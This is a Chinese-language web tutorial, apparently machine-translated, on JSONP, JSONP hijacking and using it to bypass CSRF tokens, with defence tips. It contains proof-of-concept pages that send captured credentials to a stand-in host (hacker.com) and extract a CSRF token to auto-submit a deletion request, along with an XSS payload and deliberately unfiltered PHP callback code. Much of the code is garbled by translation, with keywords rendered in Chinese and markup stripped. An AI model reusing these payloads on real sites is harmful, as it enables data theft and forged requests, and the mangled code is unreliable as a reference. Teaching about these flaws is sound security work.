jsonp安全吗,jsonp是什么,怎样实现的,jsonp的简单介绍以及其安全风险

jsonp安全吗,jsonp是什么,怎样实现的,jsonp的简单介绍以及其安全风险

jsonP的原理是动态插入一个带有跨域url的脚本标签,然后调用一个回调函数,把我们需要的JSON数据作为参数传入,通过一些逻辑把数据显示在页面上。本文主要介绍jsonp的简要介绍及其安全风险的相关信息。有需要的朋友可以参考一下。

目录

JSONP介绍JSONP劫持利用JSONP绕过令牌保护进行csrf攻击JSONP劫持挖掘与防御参考摘要

JSONP介绍

说到跨域请求资源的方法,最常用的方法是JSONP/CORS。下面用一个具体的例子来介绍JSONP的工作原理。

JSP的全称是JSON with Padding,是基于JSON格式解决跨域资源请求的解决方案。

他实现的基本原理是利用了HTML里script元素标签没有跨域限制

JSP的原理是用跨域url动态插入脚本标签,然后调用回调函数,把我们需要的jsonP数据作为参数传入,通过一些逻辑把数据显示在页面上。

例如,通过脚本Jsonpcallback=callback访问http://www.test.com/index.html?脚本执行后会调用回调函数,参数是获取的数据。

原理很简单。在本地复制。首先,创建新的callback.php:

!callback.php

?服务器端编程语言(Professional Hypertext Preprocessor的缩写)

头( Content-type:application/JSON );

$ callback=$ _ GET[ callback ];

//json数据

$ JSON _ data= { customername 1 : user 1 , password : 12345678 } ;

//以jsonp格式输出数据

echo $回调。( .$json_data。);

然后创建一个新的test.html:

!test.html

超文本标记语言

标题测试/标题

meta charset=utf-8

脚本类型=文本/javascript

函数呵呵呵(obj){

alert(obj[ password ]);

}

/脚本

/头

身体

script type= text/JavaScript src= http://localhost/callback . PHP?回调=呵呵呵/脚本

/body

/html

当我们访问test.html时,页面将执行脚本并请求http://localhost/callback.php?Callback=呵呵呵,然后把请求的内容作为参数,执行呵呵呵函数,对请求的内容进行预警。最终结果如下

这样就通过js操作实现了跨域请求的资源,绕过了同源策略。

但是随着业务的发展,总会出现安全问题,JSONP使用不当也会造成很多安全问题。

JSONP劫持

对于JSONP传输数据,正常的业务是用户在域名B下请求域名A下的数据,然后进行进一步的操作。

然而,域名A的请求通常需要认证。黑客如何获取这些信息?我们可以自己构建一个页面,然后引诱用户点击。在这个页面中,我们请求域名A资源,然后回调函数将请求的资源发送回黑客服务器。

是的,JSONP劫持类似于CSRF漏洞,步骤大致如下图所示(来自参考文章1):

使用代码如下:

超文本标记语言

标题测试/标题

meta charset=utf-8

脚本类型=文本/javascript

函数呵呵呵(obj){

var my form=document . createelement( form );

my form . action= http://hacker . com/redirect . PHP ;

myForm.method= GET

for(对象中的变量k){

var my input=document . createelement( input );

myInput.setAttribute(name ,k);

myInput.setAttribute(value ,obj[k]);

my form . appendchild(my input);

}

document . body . appendchild(my form);

my form . submit();

document . body . remove child(my form);

}

/脚本

/头

身体

script type= text/JavaScript src= http://localhost/callback . PHP?回调=呵呵呵/脚本

/body

/html

用户被诱惑访问这个html,会以用户身份访问http://localhost/callback.php?回调=呵呵呵,获取敏感数据,然后执行呵呵呵函数将数据发送到http://hacker.com/redirect.php.数据包捕获可以拦截以下请求数据包:

GET /redirect.php?customername 1=user 1 password=12345678 HTTP/1.1

主持人:hacker.com

用户代理:Mozilla/5.0(Windows NT 10.0;WOW64rv:52.0)壁虎/20100101火狐/52.0

接受:text/html,application/xhtml xml,application/XML;q=0.9,*/*;q=0.8

接受-语言:zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

接受编码:gzip,deflate

推荐人:http://10.133.136.120/test.html

DNT: 1

连接:关闭

升级-不安全-请求:1

黑客只需要在redirect.php保存数据,然后重定向到Baidu.com,这是一个完美的JSONP劫持。

利用JSONP绕过token防护进行csrf攻击

具体例子见参考文献2和3。

从上面的例子我们知道,JSONP可以获取敏感数据,在某些情况下,它还可以利用JSONP劫持绕过令牌限制来完成csrf攻击。

假设有这样一个场景:服务器对接收到的请求包进行判断,如果包含回调参数则返回JSONP格式的数据,否则返回正常页面。代码如下:test.php

!callback.php

?服务器端编程语言(Professional Hypertext Preprocessor的缩写)

头( Content-type:application/JSON );

//json数据

$ JSON _ data= { customername 1 : user 1 , password : 12345678 } ;

if(isset($ _ GET[ callback ]){

$ callback=$ _ GET[ callback ];

//如果包含回调参数,则以jsonp格式输出数据

echo $回调。( .$json_data。);

}否则{

echo $ json _ data

}

对于场景,如果存在JSONP劫持,我们可以获取页面中的内容,提取csrf_token,然后提交表单,造成csrf漏洞。示例代码如下(摘自参考文章2):

超文本标记语言

标题测试/标题

meta charset=utf-8

/头

身体

div id=test/div

脚本类型=文本/javascript

功能测试(对象){

//获取对象中的属性值

var content=obj[html]

//定期匹配参数值

var token=content.match(token=(。*?))[1];

//添加一个表单节点

var parent=document . getelementbyid( test );

var child=document . createelement( form );

child.method= POST

child . action= http://vuln . com/del . html ;

child.id=test1

parent . append child(child);

var parent _ 1=document . getelementbyid( test1 );

var child _ 1=document . createelement( input );

child _ 1.type= hiddenchild _ 1.name= tokenchild _ 1.value=token

var child _ 2=document . createelement( input );

child _ 2.type= submit

parent _ 1 . appendchild(child _ 1);

parent _ 1 . appendchild(child _ 2);

}

/脚本

script type= text/JavaScript src= http://vuln . com/Cao Zuo . html?htmlcallback=test/script

/body

/html

Htmlcallback返回一个对象obj,该对象作为参数传递给测试函数。对对象中名为html的属性值进行操作,并定期匹配标记。然后添加表单,表单自动提交完成操作。当用户点击攻击页面时,会收到csrf攻击。

JSONP劫持挖掘与防御

对于漏洞挖掘,首先需要尽可能找到所有接口,尤其是返回数据格式为JSONP的接口。(可以检索关键字回调json jsonp email等。在数据包中,或者可以添加回调参数来观察返回值是否变化)。

找到接口后,返回值需要包含敏感信息,可以被不同域的页面请求(即是否有refer限制。事实上,如果接口上有refer限制,它可能会被绕过,这将在以后的文章中讨论)。

对JSONP劫持的防御其实和csrf差不多。以下摘自参考文献4:

根据JSON格式标准限制源引用输出(设置内容类型:application/JSON;Charset=utf-8),防止http://127.0.0.1/getUsers.php?形式为callback=script alert(/Xss/)/script的xss过滤回调函数名和JSON数据输出,防止XSS。

参考

Jsonp劫持原理及挖掘方法JSONP绕过CSRF保护令牌,在新浪某社区分享了一个JSONP劫持引起的CSRF蠕虫的JSONP安全攻防技术。

总结

关于jsonp的简介及其安全隐患的这篇文章到此为止。有关jsonp安全风险的更多信息,请搜索我们以前的文章或继续浏览下面的相关文章。希望大家以后能多多支持我们!

jsonp安全吗,jsonp是什么,怎样实现的,jsonp的简单介绍以及其安全风险